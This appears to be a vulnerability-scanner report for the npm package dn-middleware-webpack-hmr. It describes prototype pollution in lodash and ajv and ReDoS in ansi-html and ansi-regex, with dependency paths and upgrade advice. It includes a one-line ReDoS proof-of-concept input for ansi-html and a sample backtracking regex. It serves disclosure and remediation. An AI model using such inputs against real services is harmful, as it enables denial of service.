dn-middleware-webpack-hmr@1.0.0-alpha.4

Vulnerabilities

36 via 465 paths

Dependencies

1163

Source

npm

Find, fix and prevent vulnerabilities in your code.

Severity
  • 1
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  • 1
Status
  • 36
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critical severity

Prototype Pollution

  • Vulnerable module: lodash
  • Introduced through: confman@0.2.11

Detailed paths

  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 confman@0.2.11 plist@1.2.0 xmlbuilder@4.0.0 lodash@3.10.1

Overview

lodash is a modern JavaScript utility library delivering modularity, performance, & extras.

Affected versions of this package are vulnerable to Prototype Pollution in zipObjectDeep due to an incomplete fix for CVE-2020-8203.

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as _proto_, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge
  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named _proto_ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to _proto_.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server
  • Web server

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).
  2. Require schema validation of JSON input.
  3. Avoid using unsafe recursive merge functions.
  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.
  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade lodash to version 4.17.20 or higher.

References

high severity

Prototype Pollution

  • Vulnerable module: ajv
  • Introduced through: extract-text-webpack-plugin@3.0.2

Detailed paths

  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 extract-text-webpack-plugin@3.0.2 schema-utils@0.3.0 ajv@5.5.2

Overview

ajv is an Another JSON Schema Validator

Affected versions of this package are vulnerable to Prototype Pollution. A carefully crafted JSON schema could be provided that allows execution of other code by prototype pollution. (While untrusted schemas are recommended against, the worst case of an untrusted schema should be a denial of service, not execution of code.)

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as _proto_, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge
  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named _proto_ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to _proto_.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server
  • Web server

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).
  2. Require schema validation of JSON input.
  3. Avoid using unsafe recursive merge functions.
  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.
  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade ajv to version 6.12.3 or higher.

References

high severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: ansi-html
  • Introduced through: webpack-dev-server@2.11.5

Detailed paths

  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 webpack-dev-server@2.11.5 ansi-html@0.0.7

Overview

ansi-html is an An elegant lib that converts the chalked (ANSI) text to HTML.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). If an attacker provides a malicious string, it will get stuck processing the input for an extremely long time.

PoC

require('ansi-html')('x1b[0mx1b[' + '0'.repeat(35))

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

There is no fixed version for ansi-html.

References

high severity
new

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: ansi-regex
  • Introduced through: webpack-dev-server@2.11.5, babel-core@6.26.3 and others

Detailed paths

  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 webpack-dev-server@2.11.5 strip-ansi@3.0.1 ansi-regex@2.1.1
    Remediation: Upgrade to webpack-dev-server@4.0.0.
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 babel-core@6.26.3 babel-code-frame@6.26.0 chalk@1.1.3 has-ansi@2.0.0 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 babel-eslint@7.2.3 babel-code-frame@6.26.0 chalk@1.1.3 has-ansi@2.0.0 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 css-loader@0.26.4 babel-code-frame@6.26.0 chalk@1.1.3 has-ansi@2.0.0 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 css-loader@0.26.4 postcss@5.2.18 chalk@1.1.3 has-ansi@2.0.0 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 postcss-px-to-viewport@0.0.3 postcss@5.2.18 chalk@1.1.3 has-ansi@2.0.0 ansi-regex@2.1.1
    Remediation: Upgrade to postcss-px-to-viewport@1.0.0.
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 postcss-write-svg@3.0.1 postcss@5.2.18 chalk@1.1.3 has-ansi@2.0.0 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 babel-core@6.26.3 babel-code-frame@6.26.0 chalk@1.1.3 strip-ansi@3.0.1 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 babel-eslint@7.2.3 babel-code-frame@6.26.0 chalk@1.1.3 strip-ansi@3.0.1 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 css-loader@0.26.4 babel-code-frame@6.26.0 chalk@1.1.3 strip-ansi@3.0.1 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 css-loader@0.26.4 postcss@5.2.18 chalk@1.1.3 strip-ansi@3.0.1 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 postcss-px-to-viewport@0.0.3 postcss@5.2.18 chalk@1.1.3 strip-ansi@3.0.1 ansi-regex@2.1.1
    Remediation: Upgrade to postcss-px-to-viewport@1.0.0.
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 postcss-write-svg@3.0.1 postcss@5.2.18 chalk@1.1.3 strip-ansi@3.0.1 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 html-webpack-plugin@2.30.1 pretty-error@2.1.2 renderkid@2.0.7 strip-ansi@3.0.1 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 webpack-dev-server@2.11.5 yargs@6.6.0 string-width@1.0.2 strip-ansi@3.0.1 ansi-regex@2.1.1
    Remediation: Upgrade to webpack-dev-server@4.0.0.
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 webpack@3.12.0 yargs@8.0.2 cliui@3.2.0 strip-ansi@3.0.1 ansi-regex@2.1.1
    Remediation: Upgrade to webpack@4.0.0.
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 webpack-dev-server@2.11.5 yargs@6.6.0 cliui@3.2.0 strip-ansi@3.0.1 ansi-regex@2.1.1
    Remediation: Upgrade to webpack-dev-server@4.0.0.
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 babel-core@6.26.3 babel-traverse@6.26.0 babel-code-frame@6.26.0 chalk@1.1.3 has-ansi@2.0.0 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 babel-eslint@7.2.3 babel-traverse@6.26.0 babel-code-frame@6.26.0 chalk@1.1.3 has-ansi@2.0.0 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 babel-plugin-transform-es2015-classes@6.24.1 babel-traverse@6.26.0 babel-code-frame@6.26.0 chalk@1.1.3 has-ansi@2.0.0 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 css-loader@0.26.4 cssnano@3.10.0 postcss@5.2.18 chalk@1.1.3 has-ansi@2.0.0 ansi-regex@2.1.1
    Remediation: Upgrade to css-loader@1.0.0.
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 optimize-css-assets-webpack-plugin@3.2.0 cssnano@3.10.0 postcss@5.2.18 chalk@1.1.3 has-ansi@2.0.0 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 babel-core@6.26.3 babel-traverse@6.26.0 babel-code-frame@6.26.0 chalk@1.1.3 strip-ansi@3.0.1 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 babel-eslint@7.2.3 babel-traverse@6.26.0 babel-code-frame@6.26.0 chalk@1.1.3 strip-ansi@3.0.1 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 babel-plugin-transform-es2015-classes@6.24.1 babel-traverse@6.26.0 babel-code-frame@6.26.0 chalk@1.1.3 strip-ansi@3.0.1 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 css-loader@0.26.4 cssnano@3.10.0 postcss@5.2.18 chalk@1.1.3 strip-ansi@3.0.1 ansi-regex@2.1.1
    Remediation: Upgrade to css-loader@1.0.0.
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 optimize-css-assets-webpack-plugin@3.2.0 cssnano@3.10.0 postcss@5.2.18 chalk@1.1.3 strip-ansi@3.0.1 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 webpack@3.12.0 yargs@8.0.2 cliui@3.2.0 string-width@1.0.2 strip-ansi@3.0.1 ansi-regex@2.1.1
    Remediation: Upgrade to webpack@4.0.0.
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 webpack-dev-server@2.11.5 yargs@6.6.0 cliui@3.2.0 string-width@1.0.2 strip-ansi@3.0.1 ansi-regex@2.1.1
    Remediation: Upgrade to webpack-dev-server@4.0.0.
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 webpack@3.12.0 yargs@8.0.2 cliui@3.2.0 wrap-ansi@2.1.0 strip-ansi@3.0.1 ansi-regex@2.1.1
    Remediation: Upgrade to webpack@4.0.0.
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 webpack-dev-server@2.11.5 yargs@6.6.0 cliui@3.2.0 wrap-ansi@2.1.0 strip-ansi@3.0.1 ansi-regex@2.1.1
    Remediation: Upgrade to webpack-dev-server@4.0.0.
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 babel-core@6.26.3 babel-template@6.26.0 babel-traverse@6.26.0 babel-code-frame@6.26.0 chalk@1.1.3 has-ansi@2.0.0 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 babel-plugin-transform-builtin-extend@1.1.2 babel-template@6.26.0 babel-traverse@6.26.0 babel-code-frame@6.26.0 chalk@1.1.3 has-ansi@2.0.0 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 babel-plugin-transform-decorators-legacy@1.3.5 babel-template@6.26.0 babel-traverse@6.26.0 babel-code-frame@6.26.0 chalk@1.1.3 has-ansi@2.0.0 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 babel-plugin-transform-es2015-classes@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0 babel-code-frame@6.26.0 chalk@1.1.3 has-ansi@2.0.0 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 babel-plugin-transform-es2015-classes@6.24.1 babel-helper-function-name@6.24.1 babel-traverse@6.26.0 babel-code-frame@6.26.0 chalk@1.1.3 has-ansi@2.0.0 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 babel-plugin-transform-es2015-classes@6.24.1 babel-helper-replace-supers@6.24.1 babel-traverse@6.26.0 babel-code-frame@6.26.0 chalk@1.1.3 has-ansi@2.0.0 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 babel-preset-env@1.7.0 babel-plugin-transform-es2015-classes@6.24.1 babel-traverse@6.26.0 babel-code-frame@6.26.0 chalk@1.1.3 has-ansi@2.0.0 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 babel-preset-env@1.7.0 babel-plugin-transform-es2015-block-scoping@6.26.0 babel-traverse@6.26.0 babel-code-frame@6.26.0 chalk@1.1.3 has-ansi@2.0.0 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 babel-preset-env@1.7.0 babel-plugin-transform-es2015-parameters@6.24.1 babel-traverse@6.26.0 babel-code-frame@6.26.0 chalk@1.1.3 has-ansi@2.0.0 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 css-loader@0.26.4 cssnano@3.10.0 autoprefixer@6.7.7 postcss@5.2.18 chalk@1.1.3 has-ansi@2.0.0 ansi-regex@2.1.1
    Remediation: Upgrade to css-loader@1.0.0.
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 optimize-css-assets-webpack-plugin@3.2.0 cssnano@3.10.0 autoprefixer@6.7.7 postcss@5.2.18 chalk@1.1.3 has-ansi@2.0.0 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 css-loader@0.26.4 cssnano@3.10.0 postcss-calc@5.3.1 postcss@5.2.18 chalk@1.1.3 has-ansi@2.0.0 ansi-regex@2.1.1
    Remediation: Upgrade to css-loader@1.0.0.
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 optimize-css-assets-webpack-plugin@3.2.0 cssnano@3.10.0 postcss-calc@5.3.1 postcss@5.2.18 chalk@1.1.3 has-ansi@2.0.0 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 css-loader@0.26.4 cssnano@3.10.0 postcss-colormin@2.2.2 postcss@5.2.18 chalk@1.1.3 has-ansi@2.0.0 ansi-regex@2.1.1
    Remediation: Upgrade to css-loader@1.0.0.
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 optimize-css-assets-webpack-plugin@3.2.0 cssnano@3.10.0 postcss-colormin@2.2.2 postcss@5.2.18 chalk@1.1.3 has-ansi@2.0.0 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 css-loader@0.26.4 cssnano@3.10.0 postcss-convert-values@2.6.1 postcss@5.2.18 chalk@1.1.3 has-ansi@2.0.0 ansi-regex@2.1.1
    Remediation: Upgrade to css-loader@1.0.0.
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 optimize-css-assets-webpack-plugin@3.2.0 cssnano@3.10.0 postcss-convert-values@2.6.1 postcss@5.2.18 chalk@1.1.3 has-ansi@2.0.0 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 css-loader@0.26.4 cssnano@3.10.0 postcss-discard-comments@2.0.4 postcss@5.2.18 chalk@1.1.3 has-ansi@2.0.0 ansi-regex@2.1.1
    Remediation: Upgrade to css-loader@1.0.0.
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 optimize-css-assets-webpack-plugin@3.2.0 cssnano@3.10.0 postcss-discard-comments@2.0.4 postcss@5.2.18 chalk@1.1.3 has-ansi@2.0.0 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 css-loader@0.26.4 cssnano@3.10.0 postcss-discard-duplicates@2.1.0 postcss@5.2.18 chalk@1.1.3 has-ansi@2.0.0 ansi-regex@2.1.1
    Remediation: Upgrade to css-loader@1.0.0.
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 optimize-css-assets-webpack-plugin@3.2.0 cssnano@3.10.0 postcss-discard-duplicates@2.1.0 postcss@5.2.18 chalk@1.1.3 has-ansi@2.0.0 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 css-loader@0.26.4 cssnano@3.10.0 postcss-discard-empty@2.1.0 postcss@5.2.18 chalk@1.1.3 has-ansi@2.0.0 ansi-regex@2.1.1
    Remediation: Upgrade to css-loader@1.0.0.
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 optimize-css-assets-webpack-plugin@3.2.0 cssnano@3.10.0 postcss-discard-empty@2.1.0 postcss@5.2.18 chalk@1.1.3 has-ansi@2.0.0 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 css-loader@0.26.4 cssnano@3.10.0 postcss-discard-overridden@0.1.1 postcss@5.2.18 chalk@1.1.3 has-ansi@2.0.0 ansi-regex@2.1.1
    Remediation: Upgrade to css-loader@1.0.0.
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 optimize-css-assets-webpack-plugin@3.2.0 cssnano@3.10.0 postcss-discard-overridden@0.1.1 postcss@5.2.18 chalk@1.1.3 has-ansi@2.0.0 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 css-loader@0.26.4 cssnano@3.10.0 postcss-discard-unused@2.2.3 postcss@5.2.18 chalk@1.1.3 has-ansi@2.0.0 ansi-regex@2.1.1
    Remediation: Upgrade to css-loader@1.0.0.
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 optimize-css-assets-webpack-plugin@3.2.0 cssnano@3.10.0 postcss-discard-unused@2.2.3 postcss@5.2.18 chalk@1.1.3 has-ansi@2.0.0 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 css-loader@0.26.4 cssnano@3.10.0 postcss-filter-plugins@2.0.3 postcss@5.2.18 chalk@1.1.3 has-ansi@2.0.0 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 optimize-css-assets-webpack-plugin@3.2.0 cssnano@3.10.0 postcss-filter-plugins@2.0.3 postcss@5.2.18 chalk@1.1.3 has-ansi@2.0.0 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 css-loader@0.26.4 cssnano@3.10.0 postcss-merge-idents@2.1.7 postcss@5.2.18 chalk@1.1.3 has-ansi@2.0.0 ansi-regex@2.1.1
    Remediation: Upgrade to css-loader@1.0.0.
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 optimize-css-assets-webpack-plugin@3.2.0 cssnano@3.10.0 postcss-merge-idents@2.1.7 postcss@5.2.18 chalk@1.1.3 has-ansi@2.0.0 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 css-loader@0.26.4 cssnano@3.10.0 postcss-merge-longhand@2.0.2 postcss@5.2.18 chalk@1.1.3 has-ansi@2.0.0 ansi-regex@2.1.1
    Remediation: Upgrade to css-loader@1.0.0.
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 optimize-css-assets-webpack-plugin@3.2.0 cssnano@3.10.0 postcss-merge-longhand@2.0.2 postcss@5.2.18 chalk@1.1.3 has-ansi@2.0.0 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 css-loader@0.26.4 cssnano@3.10.0 postcss-merge-rules@2.1.2 postcss@5.2.18 chalk@1.1.3 has-ansi@2.0.0 ansi-regex@2.1.1
    Remediation: Upgrade to css-loader@1.0.0.
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 optimize-css-assets-webpack-plugin@3.2.0 cssnano@3.10.0 postcss-merge-rules@2.1.2 postcss@5.2.18 chalk@1.1.3 has-ansi@2.0.0 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 css-loader@0.26.4 cssnano@3.10.0 postcss-minify-font-values@1.0.5 postcss@5.2.18 chalk@1.1.3 has-ansi@2.0.0 ansi-regex@2.1.1
    Remediation: Upgrade to css-loader@1.0.0.
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 optimize-css-assets-webpack-plugin@3.2.0 cssnano@3.10.0 postcss-minify-font-values@1.0.5 postcss@5.2.18 chalk@1.1.3 has-ansi@2.0.0 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 css-loader@0.26.4 cssnano@3.10.0 postcss-minify-gradients@1.0.5 postcss@5.2.18 chalk@1.1.3 has-ansi@2.0.0 ansi-regex@2.1.1
    Remediation: Upgrade to css-loader@1.0.0.
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 optimize-css-assets-webpack-plugin@3.2.0 cssnano@3.10.0 postcss-minify-gradients@1.0.5 postcss@5.2.18 chalk@1.1.3 has-ansi@2.0.0 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 css-loader@0.26.4 cssnano@3.10.0 postcss-minify-params@1.2.2 postcss@5.2.18 chalk@1.1.3 has-ansi@2.0.0 ansi-regex@2.1.1
    Remediation: Upgrade to css-loader@1.0.0.
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 optimize-css-assets-webpack-plugin@3.2.0 cssnano@3.10.0 postcss-minify-params@1.2.2 postcss@5.2.18 chalk@1.1.3 has-ansi@2.0.0 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 css-loader@0.26.4 cssnano@3.10.0 postcss-minify-selectors@2.1.1 postcss@5.2.18 chalk@1.1.3 has-ansi@2.0.0 ansi-regex@2.1.1
    Remediation: Upgrade to css-loader@1.0.0.
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 optimize-css-assets-webpack-plugin@3.2.0 cssnano@3.10.0 postcss-minify-selectors@2.1.1 postcss@5.2.18 chalk@1.1.3 has-ansi@2.0.0 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 css-loader@0.26.4 cssnano@3.10.0 postcss-normalize-charset@1.1.1 postcss@5.2.18 chalk@1.1.3 has-ansi@2.0.0 ansi-regex@2.1.1
    Remediation: Upgrade to css-loader@1.0.0.
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 optimize-css-assets-webpack-plugin@3.2.0 cssnano@3.10.0 postcss-normalize-charset@1.1.1 postcss@5.2.18 chalk@1.1.3 has-ansi@2.0.0 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 css-loader@0.26.4 cssnano@3.10.0 postcss-normalize-url@3.0.8 postcss@5.2.18 chalk@1.1.3 has-ansi@2.0.0 ansi-regex@2.1.1
    Remediation: Upgrade to css-loader@1.0.0.
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 optimize-css-assets-webpack-plugin@3.2.0 cssnano@3.10.0 postcss-normalize-url@3.0.8 postcss@5.2.18 chalk@1.1.3 has-ansi@2.0.0 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 css-loader@0.26.4 cssnano@3.10.0 postcss-ordered-values@2.2.3 postcss@5.2.18 chalk@1.1.3 has-ansi@2.0.0 ansi-regex@2.1.1
    Remediation: Upgrade to css-loader@1.0.0.
